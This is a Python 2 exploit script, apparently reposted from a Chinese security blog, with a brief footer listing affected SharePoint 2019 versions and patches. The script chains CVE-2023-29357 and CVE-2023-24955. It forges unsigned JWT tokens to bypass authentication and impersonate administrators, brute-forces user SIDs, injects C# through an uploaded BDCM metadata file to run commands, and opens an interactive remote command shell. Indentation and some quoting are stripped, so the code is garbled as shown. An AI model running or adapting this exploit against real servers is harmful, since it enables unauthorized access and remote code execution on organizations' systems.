# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯_(ツ)_/¯
if version.startswith("3"):
print("[!!!!] Aborttttt, require python2 to run, current python version is: " + version)
exit(1)
import xml.etree.ElementTree as ET
from urlparse import urlparse
import logging
# logging setup
from logging import handlers
log = logging.getLogger('')
log.setLevel(logging.DEBUG)
format = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")
fh = handlers.RotatingFileHandler("debug.log", maxBytes=(1048576*5), backupCount=7)
fh.setFormatter(format)
log.addHandler(fh)
# i don't know
if len(sys.argv) != 2:
print("Usage: python "+sys.argv[0]+" http://sp2019")
print("It's recommended to use the site name instead of IPs")
exit(1)
SITE_USER = "user2"
USER = ""
# USER = "operator"
# TARGET = "http://splab/"
SID_PREFIX=""
SID=""
TARGET = sys.argv[1]
PROXY = {}
REQUEST_DIGEST = "Nope"
BACKUP_BDCM = ""
CLASS_NAME = "testanull"
EXPLOIT_STATUS = False
HIJACK_SHELL = True
STS_ACCESSIBLE = True
USE_STS = True
SHELL_PATH = "/_vti_bin/DelveApi.ashx/gift_from_starlabs/ghostshell" + str(random.randint(1000,9999)) + ".aspx"
MAL_CODE = """aaab{
class ABCD: System.Web.Services.Protocols.HttpWebClientProtocol{
static ABCD(){
System.Diagnostics.Process.Start("cmd.exe", "/c mspaint.exe");
}
}
}
namespace aabcd"""
while TARGET.endswith("/"):
TARGET = TARGET[:-1]
HOSTNAME = BACKUP_HOSTNAME = TARGET.replace("http://", "").replace("https://", "")
# I know, my code is dirty, but at least it works ¯_(ツ)_/¯!
def logMsg(msg, printable=False):
log.info(msg)
if printable == True:
print(msg)
# memory web shell
def getMalCode():
global HIJACK_SHELL, CLASS_NAME, MAL_CODE
CLASS_NAME = "x0r"
if HIJACK_SHELL == True:
MAL_CODE = base64.b64decode("aGFja3hvciBidXNmYW1lIGNvbGFiIHRvcCAxIA==").replace("ckxo", CLASS_NAME)
return MAL_CODE
def id_generator(size=6, chars=string.ascii_lowercase + string.ascii_uppercase):
return ''.join(random.choice(chars) for _ in range(size))
def parseNtlmMsg(msg):
def decode_int(byte_string):
return int(byte_string[::-1].encode('hex'), 16)
def decode_string(byte_string):
return byte_string.replace('x00', '')
target_info_fields = msg[40:48]
target_info_len = decode_int(target_info_fields[0:2])
target_info_offset = decode_int(target_info_fields[4:8])
target_info_bytes = msg[target_info_offset:target_info_offset+target_info_len]
MsvAvEOL = 0x0000
MsvAvNbComputerName = 0x0001
MsvAvNbDomainName = 0x0002
MsvAvDnsComputerName = 0x0003
MsvAvDnsDomainName = 0x0004
target_info = OrderedDict()
info_offset = 0
while info_offset < len(target_info_bytes):
av_id = decode_int(target_info_bytes[info_offset:info_offset+2])
av_len = decode_int(target_info_bytes[info_offset+2:info_offset+4])
av_value = target_info_bytes[info_offset+4:info_offset+4+av_len]
info_offset = info_offset + 4 + av_len
if av_id == MsvAvEOL:
pass
elif av_id == MsvAvNbComputerName:
target_info['MsvAvNbComputerName'] = decode_string(av_value)
elif av_id == MsvAvNbDomainName:
target_info['MsvAvNbDomainName'] = decode_string(av_value)
elif av_id == MsvAvDnsComputerName:
target_info['MsvAvDnsComputerName'] = decode_string(av_value)
elif av_id == MsvAvDnsDomainName:
target_info['MsvAvDnsDomainName'] = decode_string(av_value)
return target_info
def resolveTargetInfo():
burp0_url = TARGET + "/_api/web/"
burp0_headers = { "Authorization": "NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO",
"Host": HOSTNAME}
rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY, verify=False, allow_redirects=False)
if 'WWW-Authenticate' in rq.headers:
_neg_response = rq.headers['WWW-Authenticate']
if 'NTLM' in _neg_response:
msg2 = base64.b64decode(_neg_response.split('NTLM ')[1])
ntlm_resp = parseNtlmMsg(msg2)
return ntlm_resp
else:
logMsg("[-] Target didn't use NTLM Auth, please check!")
exit()
else:
logMsg("[-] Target didn't response to NTLM Auth, please check!")
exit()
def getOAuthInfo():
burp0_url = TARGET + "/_api/web"
burp0_headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh",
"Host": HOSTNAME}
rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY, verify=False, allow_redirects=False)
if 'WWW-Authenticate' in rq.headers:
msg = rq.headers['WWW-Authenticate']
realm = msg.split('realm="')[1].split('"')[0]
client_id = msg.split('client_id="')[1].split('"')[0]
return realm, client_id
else:
logMsg("[-] No auth negotiate message, please check!")
exit()
def genEndpointHash(url):
url = url.lower()
_hash = base64.b64encode(hashlib.sha256(url).digest())
return _hash
def base64UrlEncode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=')
def genProofToken(url, username=""):
if url.startswith('https://'):
url = url.replace(TARGET, 'https://' + HOSTNAME)
else:
url = url.replace(TARGET, 'http://' + HOSTNAME)
if SID == "":
if username=="":
username = USER
jwt_token = '{"iss":"'+CLIENT_ID+'","aud": "'+CLIENT_ID+'/'+HOSTNAME+'@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"c#.w|' + username + '", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"'+ username +'", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "'+genEndpointHash(url)+'", "isloopback": "true","userid":"llunatset", "appctx":"user_impersonation"}'
b64_token = base64UrlEncode(jwt_token)
proof_token = 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh'
return proof_token
else:
return genTokenSid(url, SID)
def genAppProofToken(url, username=""):
if url.startswith('https://'):
url = url.replace(TARGET, 'https://' + HOSTNAME)
else:
url = url.replace(TARGET, 'http://' + HOSTNAME)
if SID == "":
if username=="":
username = USER
jwt_token = '{"iss":"'+CLIENT_ID+'","aud": "'+CLIENT_ID+'/'+HOSTNAME+'@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"c#.w|' + username + '", "http://schemas.microsoft.com/sharepoint/2009/08/claims/userlogonname":"'+ username +'", "appidacr":"0", "isuser":"0", "http://schemas.microsoft.com/office/2012/01/nameidissuer":"AccessToken", "ver":"hashedprooftoken","endpointurl": "'+genEndpointHash(url)+'", "isloopback": "true","userid":"llunatset", "appctx":"user_impersonation"}'
jwt_token = '{"iss":"00000003-0000-0ff1-ce00-000000000000","aud":"00000003-0000-0ff1-ce00-000000000000@'+REALM+'","nbf":"1673410334","exp":"1725093890","nameid":"00000003-0000-0ff1-ce00-000000000000@'+REALM+'", "ver":"hashedprooftoken","endpointurl": "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=","endpointurlLength": 1, "isloopback": "true"}'
b64_token = base64UrlEncode(jwt_token)
proof_token = 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh'
return proof_token
else:
return genTokenSid(url, SID)
def genTokenSid(url, sid):
global SID_PREFIX
if TARGET.startswith('https://'):
url = url.replace(TARGET, 'https://' + HOSTNAME)
else:
url = url.replace(TARGET, 'http://' + HOSTNAME)
jwt_token = '{"iss":"' + CLIENT_ID + '","aud": "' + CLIENT_ID + '/' + HOSTNAME + '@' + REALM + '","nbf":"1673410334","exp":"1725093890","nameid": "' + sid +'", "nii": "urn:office:idp:activedirectory", "appidacr":"0", "isuser":"0", "ver":"hashedprooftoken","endpointurl": "' + genEndpointHash(url)+'","isloopback": "true","appctx":"user_impersonation"}'
b64_token = base64UrlEncode(jwt_token)
return 'eyJhbGciOiAibm9uZSJ9.'+b64_token+'.YWFh'
def tryLoginSid(sid):
burp0_url = TARGET + "/_api/web/currentuser"
token = genTokenSid(burp0_url, sid)
burp0_headers = {"Host": HOSTNAME, "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "User-Agent": "python-requests/2.27.1", "X-PROOF_TOKEN": token, "Authorization": "Bearer "+token}
try:
rq = requests.get(burp0_url, headers=burp0_headers, proxies=PROXY)
if rq.status_code == 200:
logMsg("[+] Found user with sid: " + sid, True)
return sid
else:
return False
except:
return False
def probeUser():
global SID
#try 500
sid = SID_PREFIX + '-500'
sid = tryLoginSid(sid)
if sid != False:
SID = sid
else:
#try 1100
i = 1100
while True:
sid = SID_PREFIX + "-" + str(i)
if tryLoginSid(sid):
SID = sid
break
i = 1000 if i > 1200 else i + 1
if i == 1100:
break
def sendGetReq(url, user=""):
token = genAppProofToken(url, user)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME}
rq = requests.get(url, headers=headers, proxies=PROXY, verify=False, allow_redirects=False)
return rq
def sendJsonRequest(url, data):
token = genAppProofToken(url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/json",
"Host": HOSTNAME }
rq = requests.post(url, headers=headers, json=data, proxies=PROXY, verify=False, allow_redirects=False)
return rq
def getCurrentUser():
ct = sendGetReq(TARGET+"/_api/web/currentuser")
if ct.status_code != 200:
logMsg("[-] Failed to get current user", True)
return False
return ct.content
def getSiteAdmin():
rq = sendGetReq(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true")
if rq.status_code != 200:
print("[-] Failed to bypass authentication, abort!!")
print("[-] Status_code is: "+ str(rq.status_code))
print("[-] Page content: "+ rq.content)
exit(1)
ct = rq.content
if "true</d:IsSiteAdmin>" not in ct:
print("[-] Cannot get Site Admin")
return False
spl = ct.split('<entry')
for i in spl:
if "true</d:IsSiteAdmin>" in i:
spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1]
return spl2
def getSiteAdminFromMySite():
global HOSTNAME
rq = sendGetReq(TARGET + "/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", "NT AUTHORITY\\LOCAL SERVICE")
# sendGetReq(TARGET + "/my/_api/web/currentuser", "NT AUTHORITY\\LOCAL SERVICE")
if rq.status_code != 200:
if rq.status_code == 401:
#bad site name
HOSTNAME = BACKUP_HOSTNAME
logMsg("[+] Wrong sharepoint site name, trying the original one", True)
rq = sendGetReq(TARGET + "/my/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", "NT AUTHORITY\\LOCAL SERVICE")
if rq.status_code != 200:
logMsg("[+] Wrong sharepoint site name, please check again!", True)
return False
ct = rq.content
if "true</d:IsSiteAdmin>" not in ct:
print("[-] Cannot get Site Admin")
return False
spl = ct.split('<entry')
for i in spl:
if "true</d:IsSiteAdmin>" in i:
spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1]
return spl2
def getSiteAdmin2():
global HOSTNAME
token = genAppProofToken(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true")
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME}
rq = requests.get(TARGET + "/_vti_bin/listdata.svc/UserInformationList?$filter=IsSiteAdmin eq true", headers=headers, proxies=PROXY, verify=False, allow_redirects=False)
# sendGetReq(TARGET + "/my/_api/web/currentuser", "NT AUTHORITY\\LOCAL SERVICE")
if rq.status_code != 200:
logMsg("[+] Wrong sharepoint site name, please check again!", True)
return False
ct = rq.content
if "true</d:IsSiteAdmin>" not in ct:
print("[-] Cannot get Site Admin")
return False
spl = ct.split('<entry')
for i in spl:
if "true</d:IsSiteAdmin>" in i:
spl2 = i.split('<d:Account>')[1].split('</d:Account>')[0].split('|')[1]
return spl2
def createBDCMpayload():
global LOBID
burp0_url = TARGET + "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"
token = genAppProofToken(burp0_url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/x-www-form-urlencoded",
"Host": HOSTNAME}
burp0_data = "<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog"><LobSystems><LobSystem Name="" + LOBID + "" Type="WebService"><Properties><Property Name="WsdlFetchUrl" Type="System.String">http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl</Property><Property Name="WebServiceProxyNamespace" Type="System.String"><![CDATA[" + getMalCode() + "]]></Property><Property Name="WsdlFetchAuthenticationMode" Type="System.String">RevertToSelf</Property></Properties><LobSystemInstances><LobSystemInstance Name="" + LOBID + ""></LobSystemInstance></LobSystemInstances><Entities><Entity Name="Products" DefaultDisplayName="Products" Namespace="ODataDemo" Version="1.0.0.0" EstimatedInstanceCount="2000"><Properties><Property Name="ExcludeFromOfflineClientForList" Type="System.String">False</Property></Properties><Identifiers><Identifier Name="ID" TypeName="System.Int32" /></Identifiers><Methods><Method Name="ToString" DefaultDisplayName="Create Product" IsStatic="false"><Parameters><Parameter Name="@ID" Direction="In"><TypeDescriptor Name="ID" DefaultDisplayName="ID" TypeName="System.String" IdentifierName="ID" CreatorField="true" /></Parameter><Parameter Name="@CreateProduct" Direction="Return"><TypeDescriptor Name="CreateProduct" TypeName="System.Object"></TypeDescriptor></Parameter></Parameters><MethodInstances><MethodInstance Name="CreateProduct" Type="GenericInvoker" ReturnParameterName="@CreateProduct"><AccessControlList><AccessControlEntry Principal="STS|SecurityTokenService|http://sharepoint.microsoft.com/claims/2009/08/isauthenticated|true|http://www.w3.org/2001/XMLSchema#string"><Right BdcRight="Execute" /></AccessControlEntry></AccessControlList></MethodInstance></MethodInstances></Method></Methods></Entity></Entities></LobSystem></LobSystems></Model>"
rq = requests.post(burp0_url, headers=headers, data=burp0_data, verify=False, allow_redirects=False, proxies=PROXY)
return rq
def execCmd(_entityId, _liIdentity):
burp0_url = TARGET + "/_vti_bin/client.svc/ProcessQuery"
token = genAppProofToken(burp0_url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/x-www-form-urlencoded",
"Host": HOSTNAME}
burp0_data = "<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions><ObjectPath Id="21" ObjectPathId="20" /><ObjectPath Id="23" ObjectPathId="22" /></Actions><ObjectPaths><Method Id="20" ParentId="7" Name="Execute"><Parameters><Parameter Type="String">CreateProduct</Parameter><Parameter ObjectPathId="17" /><Parameter Type="Array"><Object Type="String">1</Object></Parameter></Parameters></Method><Property Id="22" ParentId="20" Name="ReturnParameterCollection" /><Identity Id="7" Name="" + _entityId + "" /><Identity Id="17" Name="" + _liIdentity + "" /></ObjectPaths></Request>"
rq = requests.post(burp0_url, headers=headers, data=burp0_data, verify=False, allow_redirects=False, proxies=PROXY)
if rq.status_code == 200:
return True
else:
return False
def spawnCmd():
try:
while True:
cmd = raw_input("cmd > ").strip()
if cmd.lower() in ['exit', 'quit']:
exit(0)
token = genAppProofToken(TARGET + SHELL_PATH)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME,
"cmd": cmd}
rq = requests.get(TARGET + SHELL_PATH, headers=headers, verify=False, allow_redirects=False, proxies=PROXY)
if rq.status_code == 401:
logMsg("[-] w3wp.exe may crashed and the backdoor is gone, try exploiting again!", True)
exit(0)
print(rq.content)
except:
logMsg("[-] Exception while exec!", True)
print("[!] PoC by Jang (@testanull) from StarLabs 2023")
print("=========")
logMsg("[!] Attacking target: " + TARGET, True)
ntlm_resp = resolveTargetInfo()
HOSTNAME = sharepoint_site = ntlm_resp['MsvAvDnsComputerName'].split(".")[0]
domain = ntlm_resp['MsvAvNbDomainName']
logMsg("[!] Sharepoint site is: "+ sharepoint_site, True)
logMsg("[!] Domain: "+ domain, True)
REALM, CLIENT_ID = getOAuthInfo()
LOBID = id_generator(8)
_currentUser = getCurrentUser()
if _currentUser != False:
_currentUser = _currentUser.split('<d:LoginName>')[1].split('</d:LoginName>')[0]
if "|" in _currentUser:
_currentUser = _currentUser.split('|')[1]
USER = _currentUser
else:
if STS_ACCESSIBLE == False:
logMsg("[!!] Oh no, STS is not available!")
logMsg("[+] Authentication bypassed!!!", True)
# if _getUserResp != False and 'true</d:IsSiteAdmin>' not in _getUserResp:
# logMsg("[+] Privilege escalating ...", True)
# _siteAdmin = getSiteAdmin()
# logMsg("[+] Found site admin: " + _siteAdmin, True)
# if _siteAdmin != False:
# USER = _siteAdmin.replace("\", "\\")
# SID = ""
_currentUser = getCurrentUser()
if _currentUser != False:
if 'true</d:IsSiteAdmin>' in _currentUser:
logMsg("[+] Successful impersonate Site Admin: " + USER, True)
_currentUser = _currentUser.split('<d:LoginName>')[1].split('</d:LoginName>')[0]
if "|" in _currentUser:
_currentUser = _currentUser.split('|')[1]
logMsg("[+] Got Oauth Info: " + REALM + "|" + CLIENT_ID)
logMsg("[+] Delivering payload ...", True)
rq = sendGetReq(TARGET + "/_api/web/GetFolderByServerRelativeUrl('/')/Folders")
if rq.status_code == 200 and 'BusinessDataMetadataCatalog' in rq.content:
logMsg("[+] BDCMetadata existed, backuping original data.")
try:
rq = sendGetReq(TARGET + "/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value")
BACKUP_BDCM = rq.content
if rq.status_code == 200:
try:
f = open("bdcm.bak", "wb")
f.write(rq.content)
f.close()
except:
logMsg("[-] Failed to backup BDCM content, saving it to memory")
except:
pass
else:
body = {
"ServerRelativeUrl": "/BusinessDataMetadataCatalog/"
}
rq = sendJsonRequest(TARGET + '/_api/web/folders', body)
if rq.status_code == 201:
logMsg("[+] Created BDCM folder")
else:
logMsg("[-] Failed to create BDCM folder")
logMsg("[+] Lob_id: " + LOBID)
_createBDCM = createBDCMpayload()
if _createBDCM.status_code == 200:
logMsg("[+] Success delivered payload", True)
_entityId = str(uuid.uuid4()) + "|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo"
_lobSystemInstance = str(uuid.uuid4()) + "|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:" + LOBID + "," + LOBID
exp_rq = execCmd(_entityId, _lobSystemInstance)
if HIJACK_SHELL == True:
token = genAppProofToken(TARGET + SHELL_PATH)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Host": HOSTNAME}
rq = requests.get(TARGET + SHELL_PATH, verify=False, headers=headers, allow_redirects=False, proxies=PROXY)
if rq.status_code == 200:
logMsg("[+] Exploit successfully!", True)
EXPLOIT_STATUS = True
else:
logMsg("[+] Can't reach the backdoor, take a manual check!", True)
logMsg("[+] Cleaning up!", True)
burp0_url = TARGET + "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"
token = genAppProofToken(burp0_url)
headers={"X-PROOF_TOKEN": token,
"Authorization": "Bearer " + token,
"Content-type": "application/x-www-form-urlencoded",
"Host": HOSTNAME
}
try:
rq = requests.post(burp0_url, headers=headers, data=BACKUP_BDCM, verify=False, allow_redirects=False, proxies=PROXY)
except:
logMsg("[-] Failed to restore original data")
if EXPLOIT_STATUS == True:
spawnCmd()
受影响的产品/测试版本:
-
SharePoint 2019 -
测试版本:SharePoint 2019 (16.0.10396.20000),补丁打了 2023 年 3 月补丁(KB5002358 和 KB5002357 ) -
补丁下载: -
https://www.microsoft.com/en-us/download/details.aspx?id=105064 -
https://www.microsoft.com/en-us/download/details.aspx?id=105078
原文始发于微信公众号(军机故阁):CVE-2023 29357&24955漏洞组合技详细分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论